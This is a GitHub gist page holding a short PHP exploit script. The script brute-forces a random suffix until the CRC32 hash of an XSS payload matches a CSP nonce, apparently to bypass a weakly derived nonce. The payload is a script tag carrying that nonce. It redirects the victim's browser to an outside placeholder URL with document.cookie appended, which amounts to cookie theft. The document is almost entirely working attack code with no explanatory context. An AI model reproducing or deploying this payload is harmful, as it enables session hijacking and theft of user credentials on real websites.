Created
February 5, 2023 21:00
-
-
Save caioluders/c5794264e4b5fd7f5abca6e79cc3256c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('memory_limit', '-1'); | |
$hash = '3e09eb42'; | |
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; | |
$prefix = '<script nonce="3e09eb42">window.location="https://url/b?"+document.cookie</script>'; | |
$charset_length = strlen($charset); | |
function check_hash($string, $hash) { | |
return hash('crc32b', $string) === $hash; | |
} | |
$max_length = 15; | |
$string = '' ; | |
while ( check_hash($prefix . $string, $hash) === false ) { | |
$string = '' ; | |
for ($i = 0; $i < $max_length; $i++) { | |
$string .= $charset[mt_rand(0, $charset_length - 1)]; | |
} | |
} | |
echo $prefix . $string; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment